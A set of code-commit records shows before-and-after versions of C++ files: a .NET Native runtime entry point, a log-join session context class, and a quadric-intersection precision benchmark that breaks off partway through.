(!RhpRegisterUnixModule(PalGetModuleHandleFromPointer((void*)&main),\n#endif \/\/ _WIN32\n (void*)&__managedcode_a, (uint32_t)((char *)&__managedcode_z - (char*)&__managedcode_a),\n (void **)&c_classlibFunctions, _countof(c_classlibFunctions)))\n {\n return -1;\n }\n#endif \/\/ !CPPCODEGEN\n\n#ifdef CPPCODEGEN\n ReversePInvokeFrame frame;\n __reverse_pinvoke(&frame);\n#endif\n\n#ifndef CPPCODEGEN\n InitializeModules(__modules_a, (int)((__modules_z - __modules_a)));\n#else \/\/ !CPPCODEGEN\n InitializeModules((void**)RtRHeaderWrapper(), 2);\n#endif \/\/ !CPPCODEGEN\n\n int retval;\n try\n {\n retval = __managed__Main(argc, argv);\n }\n catch (const char* &e)\n {\n printf(\"Call to an unimplemented runtime method; execution cannot continue.\\n\");\n printf(\"Method: %s\\n\", e);\n retval = -1;\n }\n\n#ifdef CPPCODEGEN\n __reverse_pinvoke_return(&frame);\n#endif\n\n RhpShutdown();\n\n return retval;\n}\n<commit_msg>Fix native build warnings (#2448)<commit_after>\/\/ Licensed to the .NET Foundation under one or more agreements.\n\/\/ The .NET Foundation licenses this file to you under the MIT license.\n\/\/ See the LICENSE file in the project root for more information.\n\n#include \"common.h\"\n\n#include \"sal.h\"\n#include \"gcenv.structs.h\"\n#include \"gcenv.base.h\"\n\n#include <stdlib.h> \n\n#ifndef CPPCODEGEN\n\n\/\/\n\/\/ This is the mechanism whereby multiple linked modules contribute their global data for initialization at\n\/\/ startup of the application.\n\/\/\n\/\/ ILC creates sections in the output obj file to mark the beginning and end of merged global data.\n\/\/ It defines sentinel symbols that are used to get the addresses of the start and end of global data \n\/\/ at runtime. The section names are platform-specific to match platform-specific linker conventions.\n\/\/\n#if defined(_MSC_VER)\n\n#pragma section(\".modules$A\", read)\n#pragma section(\".modules$Z\", read)\nextern \"C\" __declspec(allocate(\".modules$A\")) void * __modules_a[];\nextern \"C\" __declspec(allocate(\".modules$Z\")) void * __modules_z[];\n\n__declspec(allocate(\".modules$A\")) void * __modules_a[] = { nullptr };\n__declspec(allocate(\".modules$Z\")) void * __modules_z[] = { nullptr };\n\n\/\/\n\/\/ Each obj file compiled from managed code has a .modules$I section containing a pointer to its ReadyToRun\n\/\/ data (which points at eager class constructors, frozen strings, etc).\n\/\/\n\/\/ The #pragma ... \/merge directive folds the book-end sections and all .modules$I sections from all input\n\/\/ obj files into .rdata in alphabetical order.\n\/\/\n#pragma comment(linker, \"\/merge:.modules=.rdata\")\n\nextern \"C\" void __managedcode_a();\nextern \"C\" void __managedcode_z();\n\n#else \/\/ _MSC_VER\n\n#if defined(__APPLE__)\n\nextern void * __modules_a[] __asm(\"section$start$__DATA$__modules\");\nextern void * __modules_z[] __asm(\"section$end$__DATA$__modules\");\nextern char __managedcode_a __asm(\"section$start$__TEXT$__managedcode\");\nextern char __managedcode_z __asm(\"section$end$__TEXT$__managedcode\");\n\n#else \/\/ __APPLE__\n\nextern \"C\" void * __start___modules[];\nextern \"C\" void * __stop___modules[];\nstatic void * (&__modules_a)[] = __start___modules;\nstatic void * (&__modules_z)[] = __stop___modules;\n\nextern \"C\" char __start___managedcode;\nextern \"C\" char __stop___managedcode;\nstatic char& __managedcode_a = __start___managedcode;\nstatic char& __managedcode_z = __stop___managedcode;\n\n#endif \/\/ __APPLE__\n\n#endif \/\/ _MSC_VER\n\n#endif \/\/ !CPPCODEGEN\n\n\n#ifdef CPPCODEGEN\n\n#pragma warning(disable:4297)\n\nextern \"C\" Object * RhNewObject(MethodTable * pMT);\nextern \"C\" Object * RhNewArray(MethodTable * pMT, int32_t elements);\nextern \"C\" void * RhTypeCast_IsInstanceOf(void * pObject, MethodTable * pMT);\nextern \"C\" void * RhTypeCast_CheckCast(void * pObject, MethodTable * pMT);\nextern \"C\" void RhpStelemRef(void * pArray, int index, void * pObj);\nextern \"C\" void * RhpLdelemaRef(void * pArray, int index, MethodTable * pMT);\nextern \"C\" __NORETURN void RhpThrowEx(void * pEx);\n\nextern \"C\" Object * __allocate_object(MethodTable * pMT)\n{\n return RhNewObject(pMT);\n}\n\nextern \"C\" Object * __allocate_array(size_t elements, MethodTable * pMT)\n{\n return RhNewArray(pMT, (int32_t)elements); \/\/ TODO: type mismatch\n}\n\nextern \"C\" Object * __castclass(void * obj, MethodTable * pTargetMT)\n{\n return (Object *)RhTypeCast_CheckCast(obj, pTargetMT);\n}\n\nextern \"C\" Object * __isinst(void * obj, MethodTable * pTargetMT)\n{\n return (Object *)RhTypeCast_IsInstanceOf(obj, pTargetMT);\n}\n\nextern \"C\" void __stelem_ref(void * pArray, unsigned idx, void * obj)\n{\n RhpStelemRef(pArray, idx, obj);\n}\n\nextern \"C\" void* __ldelema_ref(void * pArray, unsigned idx, MethodTable * type)\n{\n return RhpLdelemaRef(pArray, idx, type);\n}\n\nextern \"C\" void __throw_exception(void * pEx)\n{\n RhpThrowEx(pEx);\n}\n\nvoid __range_check_fail()\n{\n throw \"ThrowRangeOverflowException\";\n}\n\nextern \"C\" void RhpReversePInvoke2(ReversePInvokeFrame* pRevFrame);\nextern \"C\" void RhpReversePInvokeReturn2(ReversePInvokeFrame* pRevFrame);\n\nvoid __reverse_pinvoke(ReversePInvokeFrame* pRevFrame)\n{\n RhpReversePInvoke2(pRevFrame);\n}\n\nvoid __reverse_pinvoke_return(ReversePInvokeFrame* pRevFrame)\n{\n RhpReversePInvokeReturn2(pRevFrame);\n}\n\nnamespace System_Private_CoreLib { namespace System { \n\n class Object {\n public:\n MethodTable * get_EEType() { return *(MethodTable **)this; }\n };\n\n class Array : public Object {\n public:\n int32_t GetArrayLength() {\n return *(int32_t *)((void **)this + 1);\n }\n void * GetArrayData() {\n return (void **)this + 2;\n }\n };\n\n class String : public Object { public:\n static MethodTable * __getMethodTable();\n };\n\n class String__Array : public Object { public:\n static MethodTable * __getMethodTable();\n };\n\n class EETypePtr { public:\n intptr_t m_value;\n };\n\n}; };\n\nObject * __load_string_literal(const char * string)\n{\n \/\/ TODO: Cache\/intern string literals\n \/\/ TODO: Unicode string literals\n\n size_t len = strlen(string);\n\n Object * pString = RhNewArray(System_Private_CoreLib::System::String::__getMethodTable(), (int32_t)len);\n\n uint16_t * p = (uint16_t *)((char*)pString + sizeof(intptr_t) + sizeof(int32_t));\n for (size_t i = 0; i < len; i++)\n p[i] = string[i];\n return pString;\n}\n\nextern \"C\" void RhpThrowEx(void * pEx)\n{\n throw \"RhpThrowEx\";\n}\nextern \"C\" void RhpThrowHwEx()\n{\n throw \"RhpThrowHwEx\";\n}\nextern \"C\" void RhpCallCatchFunclet()\n{\n throw \"RhpCallCatchFunclet\";\n}\nextern \"C\" void RhpCallFilterFunclet()\n{\n throw \"RhpCallFilterFunclet\";\n}\nextern \"C\" void RhpCallFinallyFunclet()\n{\n throw \"RhpCallFinallyFunclet\";\n}\nextern \"C\" void RhpUniversalTransition()\n{\n throw \"RhpUniversalTransition\";\n}\nextern \"C\" void RhpUniversalTransition_DebugStepTailCall()\n{\n throw \"RhpUniversalTransition_DebugStepTailCall\";\n}\n\nvoid* RtRHeaderWrapper();\n\n#endif \/\/ CPPCODEGEN\n\nextern \"C\" void __fail_fast()\n{\n \/\/ TODO: FailFast\n printf(\"Call to an unimplemented runtime method; execution cannot continue.\\n\");\n printf(\"Method: __fail_fast\\n\");\n exit(-1);\n}\n\nextern \"C\" bool REDHAWK_PALAPI PalInit();\n\n#define DLL_PROCESS_ATTACH 1\nextern \"C\" BOOL WINAPI RtuDllMain(HANDLE hPalInstance, DWORD dwReason, void* pvReserved);\n\nextern \"C\" int32_t RhpEnableConservativeStackReporting();\n\nextern \"C\" void RhpShutdown();\n\n#ifndef CPPCODEGEN\n\nextern \"C\" bool RhpRegisterCoffModule(void * pModule,\n void * pvStartRange, uint32_t cbRange,\n void ** pClasslibFunctions, uint32_t nClasslibFunctions);\n\nextern \"C\" bool RhpRegisterUnixModule(void * pModule,\n void * pvStartRange, uint32_t cbRange,\n void ** pClasslibFunctions, uint32_t nClasslibFunctions);\n\n#ifdef _WIN32\nextern \"C\" void* WINAPI GetModuleHandleW(const wchar_t *);\n#else\nextern \"C\" void* WINAPI PalGetModuleHandleFromPointer(void* pointer);\n#endif\n\nextern \"C\" void GetRuntimeException();\nextern \"C\" void FailFast();\nextern \"C\" void AppendExceptionStackFrame();\n\ntypedef void(*pfn)();\n\nstatic const pfn c_classlibFunctions[] = {\n &GetRuntimeException,\n &FailFast,\n nullptr, \/\/ &UnhandledExceptionHandler,\n &AppendExceptionStackFrame,\n};\n\n#endif \/\/ !CPPCODEGEN\n\nextern \"C\" void InitializeModules(void ** modules, int count);\n\n#if defined(_WIN32)\nextern \"C\" int __managed__Main(int argc, wchar_t* argv[]);\nint wmain(int argc, wchar_t* argv[])\n#else\nextern \"C\" int __managed__Main(int argc, char* argv[]);\nint main(int argc, char* argv[])\n#endif\n{\n if (!PalInit())\n return -1;\n\n if (!RtuDllMain(NULL, DLL_PROCESS_ATTACH, NULL))\n return -1;\n\n if (!RhpEnableConservativeStackReporting())\n return -1;\n\n#ifndef CPPCODEGEN\n#if defined(_WIN32)\n if (!RhpRegisterCoffModule(GetModuleHandleW(NULL),\n#else \/\/ _WIN32\n if (!RhpRegisterUnixModule(PalGetModuleHandleFromPointer((void*)&main),\n#endif \/\/ _WIN32\n (void*)&__managedcode_a, (uint32_t)((char *)&__managedcode_z - (char*)&__managedcode_a),\n (void **)&c_classlibFunctions, _countof(c_classlibFunctions)))\n {\n return -1;\n }\n#endif \/\/ !CPPCODEGEN\n\n#ifdef CPPCODEGEN\n ReversePInvokeFrame frame;\n __reverse_pinvoke(&frame);\n#endif\n\n#ifndef CPPCODEGEN\n InitializeModules(__modules_a, (int)((__modules_z - __modules_a)));\n#else \/\/ !CPPCODEGEN\n InitializeModules((void**)RtRHeaderWrapper(), 2);\n#endif \/\/ !CPPCODEGEN\n\n int retval;\n try\n {\n retval = __managed__Main(argc, argv);\n }\n catch (const char* &e)\n {\n printf(\"Call to an unimplemented runtime method; execution cannot continue.\\n\");\n printf(\"Method: %s\\n\", e);\n retval = -1;\n }\n\n#ifdef CPPCODEGEN\n __reverse_pinvoke_return(&frame);\n#endif\n\n RhpShutdown();\n\n return retval;\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n * Copyright (c) 2015 - The CM Authors <legal@clickmatcher.com>\n * All Rights Reserved.\n *\n * This file is CONFIDENTIAL -- Distribution or duplication of this material or\n * the information contained herein is strictly forbidden unless prior written\n * permission is obtained.\n *\/\n#include \"stx\/protobuf\/JSONEncoder.h\"\n#include \"logjoin\/SessionContext.h\"\n\nusing namespace stx;\n\nnamespace cm {\n\nJoinedEvent::JoinedEvent(\n RefPtr<msg::MessageSchema> _schema) :\n schema(_schema) {}\n\nvoid JoinedEvent::addUInt32Field(const String& name, uint32_t val) {\n if (!schema->hasField(name)) {\n return;\n }\n\n auto field_id = schema->fieldId(name);\n if (schema->fieldType(field_id) != msg::FieldType::UINT32) {\n return;\n }\n\n data.addChild(field_id, uint32_t(val));\n}\n\nvoid JoinedEvent::addBoolField(const String& name, bool val) {\n if (!schema->hasField(name)) {\n return;\n }\n\n auto field_id = schema->fieldId(name);\n if (schema->fieldType(field_id) != msg::FieldType::BOOLEAN) {\n return;\n }\n\n if (val) {\n data.addChild(field_id, msg::TRUE);\n } else {\n data.addChild(field_id, msg::FALSE);\n }\n}\n\nvoid JoinedEvent::addStringField(const String& name, const String& value) {\n if (!schema->hasField(name)) {\n return;\n }\n\n auto field_id = schema->fieldId(name);\n if (schema->fieldType(field_id) != msg::FieldType::STRING) {\n return;\n }\n\n data.addChild(field_id, value);\n}\n\nvoid JoinedEvent::addObject(\n const String& name,\n Function<void (JoinedEvent* ev)> fn) {\n if (!schema->hasField(name)) {\n return;\n }\n\n auto field_id = schema->fieldId(name);\n if (schema->fieldType(field_id) != msg::FieldType::OBJECT) {\n return;\n }\n\n auto subschema = schema->fieldSchema(field_id);\n\n JoinedEvent subev(subschema);\n fn(&subev);\n subev.data.id = field_id;\n data.addChild(subev.data);\n}\n\nvoid JoinedEvent::toJSON(json::JSONOutputStream* json) const {\n json->beginObject();\n json->addObjectEntry(\"type\");\n json->addString(schema->name());\n json->addComma();\n json->addObjectEntry(\"data\");\n msg::JSONEncoder::encode(data, *schema, json);\n json->endObject();\n}\n\nSessionContext::SessionContext(\n TrackedSession session,\n RefPtr<CustomerConfigRef> cconf) :\n uuid(session.uuid),\n customer_key(session.customer_key),\n events(session.events),\n customer_config(cconf) {}\n\nJoinedEvent* SessionContext::addOutputEvent(const String& evtype) {\n const auto& logjoin_cfg = customer_config->config.logjoin_config();\n\n for (const auto& evschema : logjoin_cfg.session_events()) {\n if (evschema.evtype() == evtype) {\n auto schema = msg::MessageSchema::decode(evschema.schema());\n\n auto event = new JoinedEvent(schema);\n output_events_.emplace_back(event);\n return event;\n }\n }\n\n RAISEF(kNotFoundError, \"event schema not found: $0\", evtype);\n return nullptr;\n}\n\nconst Vector<ScopedPtr<JoinedEvent>>& SessionContext::outputEvents() const {\n return output_events_;\n}\n\n} \/\/ namespace cm\n<commit_msg>debug log<commit_after>\/**\n * Copyright (c) 2015 - The CM Authors <legal@clickmatcher.com>\n * All Rights Reserved.\n *\n * This file is CONFIDENTIAL -- Distribution or duplication of this material or\n * the information contained herein is strictly forbidden unless prior written\n * permission is obtained.\n *\/\n#include \"stx\/protobuf\/JSONEncoder.h\"\n#include \"logjoin\/SessionContext.h\"\n\nusing namespace stx;\n\nnamespace cm {\n\nJoinedEvent::JoinedEvent(\n RefPtr<msg::MessageSchema> _schema) :\n schema(_schema) {}\n\nvoid JoinedEvent::addUInt32Field(const String& name, uint32_t val) {\n if (!schema->hasField(name)) {\n return;\n }\n\n auto field_id = schema->fieldId(name);\n if (schema->fieldType(field_id) != msg::FieldType::UINT32) {\n return;\n }\n\n data.addChild(field_id, uint32_t(val));\n}\n\nvoid JoinedEvent::addBoolField(const String& name, bool val) {\n if (!schema->hasField(name)) {\n return;\n }\n\n auto field_id = schema->fieldId(name);\n if (schema->fieldType(field_id) != msg::FieldType::BOOLEAN) {\n return;\n }\n\n if (val) {\n data.addChild(field_id, msg::TRUE);\n } else {\n data.addChild(field_id, msg::FALSE);\n }\n}\n\nvoid JoinedEvent::addStringField(const String& name, const String& value) {\n if (!schema->hasField(name)) {\n return;\n }\n\n auto field_id = schema->fieldId(name);\n if (schema->fieldType(field_id) != msg::FieldType::STRING) {\n return;\n }\n\n data.addChild(field_id, value);\n}\n\nvoid JoinedEvent::addObject(\n const String& name,\n Function<void (JoinedEvent* ev)> fn) {\n if (!schema->hasField(name)) {\n return;\n }\n\n auto field_id = schema->fieldId(name);\n if (schema->fieldType(field_id) != msg::FieldType::OBJECT) {\n return;\n }\n\n auto subschema = schema->fieldSchema(field_id);\n\n JoinedEvent subev(subschema);\n fn(&subev);\n subev.data.id = field_id;\n data.addChild(subev.data);\n}\n\nvoid JoinedEvent::toJSON(json::JSONOutputStream* json) const {\n json->beginObject();\n json->addObjectEntry(\"type\");\n json->addString(schema->name());\n json->addComma();\n json->addObjectEntry(\"data\");\n msg::JSONEncoder::encode(data, *schema, json);\n json->endObject();\n}\n\nSessionContext::SessionContext(\n TrackedSession session,\n RefPtr<CustomerConfigRef> cconf) :\n uuid(session.uuid),\n customer_key(session.customer_key),\n events(session.events),\n customer_config(cconf) {}\n\nJoinedEvent* SessionContext::addOutputEvent(const String& evtype) {\n const auto& logjoin_cfg = customer_config->config.logjoin_config();\n\n for (const auto& evschema : logjoin_cfg.session_events()) {\n if (evschema.evtype() == evtype) {\n auto schema = msg::MessageSchema::decode(evschema.schema());\n\n auto event = new JoinedEvent(schema);\n output_events_.emplace_back(event);\n return event;\n }\n }\n\n RAISEF(kNotFoundError, \"event schema not found: $0 -- $1\", evtype, logjoin_cfg.DebugString());\n return nullptr;\n}\n\nconst Vector<ScopedPtr<JoinedEvent>>& SessionContext::outputEvents() const {\n return output_events_;\n}\n\n} \/\/ namespace cm\n<|endoftext|>"} {"text":"<commit_before>\n#include \"accurate_intersections_approx.hpp\"\n#include \"accurate_intersections_incprec.hpp\"\n#include \"accurate_intersections_resultant.hpp\"\n#include \"geometry.hpp\"\n#include \"line.hpp\"\n#include \"quadric.hpp\"\n#include \"quadric_classify.hpp\"\n#include \"timer.hpp\"\n\n#include <fstream>\n#include <iomanip>\n#include <list>\n#include <random>\n\n#include <signal.h>\n#include <unistd.h>\n\nstruct GlobalVars {\n bool run = true;\n} globals;\n\nvoid sigInt(int signum) { globals.run = false; }\n\ntemplate <int dim, typename fptype>\nstd::list<Geometry::Quadric<dim, fptype>> parseQuadrics(\n const char *fname, int *minExp, int *maxExp) {\n std::ifstream file(fname);\n if(!file.is_open()) {\n return std::list<Geometry::Quadric<dim, fptype>>();\n }\n int buf = 0;\n file >> buf;\n if(minExp != NULL) {\n *minExp = buf;\n }\n file >> buf;\n if(maxExp != NULL) {\n *maxExp = buf;\n }\n if(*minExp > 0) {\n std::cout\n << \"Cannot generate a line with these exponents\\n\"\n << *minExp << \", \" << *maxExp << \"\\n\";\n exit(1);\n }\n std::cout << \"Using \" << *minExp << \", \" << *maxExp\n << \" as the range of exponents\\n\";\n\n using Qf = Geometry::Quadric<dim, fptype>;\n int qtypeCount[QuadricClassify::QUADT_ERRORINVALID];\n for(int i = 0; i < QuadricClassify::QUADT_ERRORINVALID;\n i++)\n qtypeCount[i] = 0;\n std::list<Qf> quads;\n int imQuads = 0;\n int numQuads = 0;\n while(!file.eof()) {\n Qf q;\n file >> q;\n QuadricClassify::QuadType type =\n QuadricClassify::classifyQuadric(q);\n if(!QuadricClassify::isImaginary(type) &&\n type != QuadricClassify::QUADT_ERROR &&\n type != QuadricClassify::QUADT_DEGENERATE &&\n type != QuadricClassify::QUADT_ERRORINVALID) {\n quads.push_back(q);\n qtypeCount[type]++;\n } else {\n std::cout << \"Quadric \" << numQuads\n << \" is invalid, returned type \"\n << QuadricClassify::QuadTypeNames[type]\n << \"\\n\";\n imQuads++;\n }\n numQuads++;\n }\n for(int i = 0; i < QuadricClassify::QUADT_ERRORINVALID;\n i++) {\n std::cout << qtypeCount[i] << \" \"\n << QuadricClassify::QuadTypeNames[i] << \"\\n\";\n }\n return quads;\n}\n\nbool isSameInt(mpfr::mpreal int1, mpfr::mpreal int2) {\n \/* Use a heuristic on truth to determine whether adjacent\n * intersections occur at the same place.\n * This will basically be a threshold on the largest\n * different bit in the mantissa.\n *\/\n \/* A relative heuristic does not work when one (or both!)\n * is 0 *\/\n if(int1 == 0.0 || int2 == 0.0) {\n constexpr const double eps = 0.000001;\n return (mpfr::fabs(int1 - int2) < eps);\n }\n mpfr::mpreal largest =\n mpfr::max(mpfr::fabs(int1), mpfr::fabs(int2));\n mp_exp_t largestExp = largest.get_exp();\n mpfr::mpreal diff = mpfr::fabs(int1 - int2);\n int p1 = int1.getPrecision(), p2 = int2.getPrecision();\n int minPrec = std::min(p1, p2);\n mp_exp_t maxExp = largestExp - minPrec * 1 \/ 48,\n diffExp = diff.get_exp();\n return maxExp >= diffExp;\n}\n\ntemplate <typename ListTest, typename ListTrue>\nbool validateResults(ListTest &inter, ListTrue &truth) {\n \/* Note that because the same method is used to determine\n * if an intersection is in the list, these lists will be\n * the same length\n *\/\n if(inter->size() != truth->size()) {\n return false;\n }\n auto j = truth->begin();\n for(auto i = inter->begin();\n i != inter->end() || j != truth->end(); i++, j++) {\n if(i->q != j->q || i->intPos != j->intPos) {\n return false;\n }\n }\n return true;\n}\n\ntemplate <typename List>\nint countIP(List inter) {\n int numIP = 0;\n for(auto i : *inter) numIP += i.incPrecCount();\n return numIP;\n}\n\nusing rngAlg = std::mt19937_64;\n\ntemplate <int dim, typename fptype>\nusing randLineGen = Geometry::Line<dim, fptype> (*)(\n rngAlg &rng, int minExp, int maxExp);\n\ntemplate <int dim, typename fptype, typename cmpAlg>\nstd::shared_ptr<std::list<cmpAlg>> __attribute__((noinline))\nrunTest(\n std::list<Geometry::Quadric<dim, fptype>> &quads,\n Geometry::Line<dim, fptype> &line, Timer::Timer &timer,\n double eps = std::numeric_limits<fptype>::infinity()) {\n timer.startTimer();\n auto inter =\n Geometry::sortIntersections<dim, fptype, cmpAlg>(\n line, quads, fptype(eps));\n timer.stopTimer();\n return inter;\n}\n\ntemplate <int dim, typename fptype>\nvoid intersectionTest(\n std::list<Geometry::Quadric<dim, fptype>> &quads,\n std::ostream &results, const int numTests,\n randLineGen<dim, fptype> rlgf, int minExp, int maxExp) {\n \/* First build a scene of quadrics.\n * Then generate random lines on a disk centered at the\n * intersection of the cylinders.\n * Then sort the intersections\n * Finally validate them with a higher precision sort\n *\/\n using Vf = Geometry::Vector<dim, fptype>;\n using Pf = Geometry::Point<dim, fptype>;\n using Lf = Geometry::Line<dim, fptype>;\n\n std::random_device rd;\n rngAlg engine(rd());\n\n const double eps = 0.75 \/ (2 * quads.size());\n\n constexpr const int numTestTypes = 3;\n Timer::Timer testTimes[numTestTypes];\n struct TimeArr {\n struct TestData {\n long long ns;\n int numIP;\n bool correct;\n } mpTime, fpTime, resTime;\n } *times = new struct TimeArr[numTests];\n \/* Run the tests *\/\n int t;\n for(t = 0; t < numTests && globals.run; t++) {\n Lf line = rlgf(engine, minExp, maxExp);\n \/* Then sort the intersections *\/\n auto resultant = runTest<\n dim, fptype,\n Geometry::IntersectionResultant<dim, fptype>>(\n quads, line, testTimes[0], eps);\n auto fpApproximate = runTest<\n dim, fptype,\n Geometry::IntersectionApproximate<dim, fptype>>(\n quads, line, testTimes[1], eps);\n auto mpApproximate = runTest<\n dim, fptype,\n Geometry::IntersectionIncreasedPrec<dim, fptype>>(\n quads, line, testTimes[2], eps);\n\n times[t].resTime.ns = testTimes[0].instant_ns();\n times[t].fpTime.ns = testTimes[1].instant_ns();\n times[t].mpTime.ns = testTimes[2].instant_ns();\n\n times[t].mpTime.correct =\n validateResults(mpApproximate, resultant);\n times[t].fpTime.correct =\n validateResults(fpApproximate, resultant);\n\n times[t].resTime.numIP = countIP(resultant);\n times[t].fpTime.numIP = countIP(fpApproximate);\n times[t].mpTime.numIP = countIP(mpApproximate);\n }\n \/* Output all of the results *\/\n results << \"Test #, Approximate Times (ns), Approximates \"\n \"Correct, Increased Precs, MP Time (ns), MP \"\n \"Correct, Resultants, Resultant Time (ns)\\n\";\n int resTotIP = 0;\n int fpTotIP = 0;\n int mpTotIP = 0;\n int mpTotIncorrect = 0;\n int fpTotIncorrect = 0;\n for(int i = 0; i < t; i++) {\n results << i + 1 << \", \" << times[i].fpTime.ns << \", \"\n << times[i].fpTime.correct << \", \"\n << times[i].mpTime.numIP << \", \"\n << times[i].mpTime.ns << \", \"\n << times[i].mpTime.correct << \", \"\n << times[i].resTime.numIP << \", \"\n << times[i].resTime.ns << \"\\n\";\n resTotIP += times[i].resTime.numIP;\n mpTotIP += times[i].mpTime.numIP;\n fpTotIncorrect += 1 - times[i].fpTime.correct;\n mpTotIncorrect += 1 - times[i].mpTime.correct;\n }\n results << \"\\n\"\n << \"Total FP Time: \" << testTimes[1].elapsed_s()\n << \".\" << std::setw(9) << std::setfill('0')\n << testTimes[1].elapsed_ns() << \"\\n\"\n << \"Total FP Disagreements: \" << fpTotIncorrect\n << \"\\n\\n\"\n\n << \"Total MP Computations: \" << mpTotIP << \"\\n\"\n << \"Total MP Time (s): \"\n << testTimes[2].elapsed_s() << \".\" << std::setw(9)\n << std::setfill('0') << testTimes[2].elapsed_ns()\n << \"\\n\"\n << \"Total Resultant Disagreements: \"\n << mpTotIncorrect << \"\\n\\n\"\n\n << \"Total Resultant Computations: \" << resTotIP\n << \"\\n\"\n << \"Total Resultant Time (s): \"\n << testTimes[0].elapsed_s() << \".\" << std::setw(9)\n << std::setfill('0') << testTimes[0].elapsed_ns()\n << \"\\n\";\n delete[] times;\n}\n\nvoid lockCPU() {\n const int numCPUs = sysconf(_SC_NPROCESSORS_ONLN);\n const int cpuSets =\n numCPUs \/ CPU_SETSIZE + ((numCPUs % CPU_SETSIZE) > 0);\n cpu_set_t *cpus = new cpu_set_t[cpuSets];\n const size_t cpuSize = sizeof(cpu_set_t[cpuSets]);\n sched_getaffinity(0, cpuSize, cpus);\n for(int i = 1; i < numCPUs; i++) CPU_CLR(i, cpus);\n CPU_SET(0, cpus);\n sched_setaffinity(0, cpuSize, cpus);\n delete[] cpus;\n}\n\ntemplate <typename fptype>\nbool checkExp(fptype fpVal, int minExp, int maxExp) {\n if(fpVal == fptype(0.0)) {\n return true;\n }\n GenericFP::fpconvert<fptype> *fpbits =\n reinterpret_cast<GenericFP::fpconvert<fptype> *>(\n &fpVal);\n int exponent = fpbits->exponent;\n exponent -= fpbits->centralExp;\n if(exponent < minExp || exponent > maxExp) {\n return false;\n } else {\n return true;\n }\n}\n\ntemplate <int dim, typename fptype>\nGeometry::Line<dim, fptype> defRandLine(rngAlg &rng,\n int minExp,\n int maxExp) {\n constexpr const fptype minPos = 0, maxPos = 1;\n std::uniform_real_distribution<fptype> genPos(minPos,\n maxPos);\n std::uniform_real_distribution<fptype> genDir(-1.0, 1.0);\n \/* First build the line *\/\n Geometry::Vector<dim, fptype> lineDir;\n Geometry::Vector<dim, fptype> lineInt;\n for(int i = 0; i < dim; i++) {\n do {\n lineInt.set(i, genPos(rng));\n } while(checkExp(lineInt.get(i), minExp, maxExp) ==\n false);\n do {\n lineDir.set(i, genDir(rng));\n } while(checkExp(lineDir.get(i), minExp, maxExp) ==\n false);\n }\n return Geometry::Line<dim, fptype>(\n Geometry::Point<dim, fptype>(lineInt), lineInt);\n}\n\ntemplate <int dim, typename fptype>\nGeometry::Line<dim, fptype> nestedEllRandLine(rngAlg &rng,\n int minExp,\n int maxExp) {\n constexpr const fptype minPos = 0.0, maxPos = 1.0;\n std::uniform_real_distribution<fptype> genPos(minPos,\n maxPos);\n Geometry::Vector<dim, fptype> lineInt;\n for(int i = 0; i < dim; i++) {\n fptype tmp = genPos(rng);\n lineInt.set(i, genPos(rng));\n }\n \/* Direct the line towards (1.0, 0.5, 0.5) *\/\n const Geometry::Vector<dim, fptype> destination(\n {1.0, 0.5, 0.5});\n Geometry::Vector<dim, fptype> lineDir =\n destination - lineInt;\n return Geometry::Line<dim, fptype>(\n Geometry::Point<dim, fptype>(lineInt), lineDir);\n}\n\ntemplate <int dim, typename fptype>\nGeometry::Line<dim, fptype> cylRandLine(rngAlg &rng,\n int minExp,\n int maxExp) {\n constexpr const fptype minPos = 0.375, maxPos = 0.625;\n std::uniform_real_distribution<fptype> genPos(minPos,\n maxPos);\n std::uniform_real_distribution<fptype> genDir(-1.0, 1.0);\n \/* First build the line *\/\n Geometry::Vector<dim, fptype> lineDir;\n Geometry::Vector<dim, fptype> lineInt;\n lineInt.set(1, genPos(rng));\n for(int i = 0; i < dim; i++) {\n lineInt.set(i, lineInt.get(1));\n lineDir.set(i, genDir(rng));\n }\n lineInt.set(0, genPos(rng));\n return Geometry::Line<dim, fptype>(\n Geometry::Point<dim, fptype>(lineInt), lineInt);\n}\n\nint main(int argc, char **argv) {\n using fptype = float;\n constexpr const int dim = 3;\n lockCPU();\n std::list<Geometry::Quadric<dim, fptype>> quads;\n const char *outFName = \"results\";\n int numTests = 1e4;\n int minExp, maxExp;\n if(argc > 1) {\n quads = parseQuadrics<dim, fptype>(argv[1], &minExp,\n &maxExp);\n } else {\n quads = parseQuadrics<dim, fptype>(\"cylinders.csg\",\n &minExp, &maxExp);\n }\n if(argc > 2) {\n outFName = argv[2];\n }\n if(argc > 3) {\n numTests = atoi(argv[3]);\n }\n randLineGen<dim, fptype> rlg = cylRandLine<dim, fptype>;\n if(argc > 4) {\n int lineGenAlg = atoi(argv[4]);\n switch(lineGenAlg) {\n case 1:\n rlg = nestedEllRandLine<dim, fptype>;\n break;\n case 2:\n rlg = cylRandLine<dim, fptype>;\n break;\n default:\n rlg = defRandLine<dim, fptype>;\n }\n }\n std::ofstream results(outFName);\n signal(SIGINT, sigInt);\n intersectionTest(quads, results, numTests, rlg, minExp,\n maxExp);\n return 0;\n}\n<commit_msg>Fixed epsilon used, also fixed output<commit_after>\n#include \"accurate_intersections_approx.hpp\"\n#include \"accurate_intersections_incprec.hpp\"\n#include \"accurate_intersections_resultant.hpp\"\n#include \"geometry.hpp\"\n#include \"line.hpp\"\n#include \"quadric.hpp\"\n#include \"quadric_classify.hpp\"\n#include \"timer.hpp\"\n\n#include <fstream>\n#include <iomanip>\n#include <list>\n#include <random>\n\n#include <signal.h>\n#include <unistd.h>\n\nstruct GlobalVars {\n bool run = true;\n} globals;\n\nvoid sigInt(int signum) { globals.run = false; }\n\ntemplate <int dim, typename fptype>\nstd::list<Geometry::Quadric<dim, fptype>> parseQuadrics(\n const char *fname, int *minExp, int *maxExp) {\n std::ifstream file(fname);\n if(!file.is_open()) {\n return std::list<Geometry::Quadric<dim, fptype>>();\n }\n int buf = 0;\n file >> buf;\n if(minExp != NULL) {\n *minExp = buf;\n }\n file >> buf;\n if(maxExp != NULL) {\n *maxExp = buf;\n }\n if(*minExp > 0) {\n std::cout\n << \"Cannot generate a line with these exponents\\n\"\n << *minExp << \", \" << *maxExp << \"\\n\";\n exit(1);\n }\n std::cout << \"Using \" << *minExp << \", \" << *maxExp\n << \" as the range of exponents\\n\";\n\n using Qf = Geometry::Quadric<dim, fptype>;\n int qtypeCount[QuadricClassify::QUADT_ERRORINVALID];\n for(int i = 0; i < QuadricClassify::QUADT_ERRORINVALID;\n i++)\n qtypeCount[i] = 0;\n std::list<Qf> quads;\n int imQuads = 0;\n int numQuads = 0;\n while(!file.eof()) {\n Qf q;\n file >> q;\n QuadricClassify::QuadType type =\n 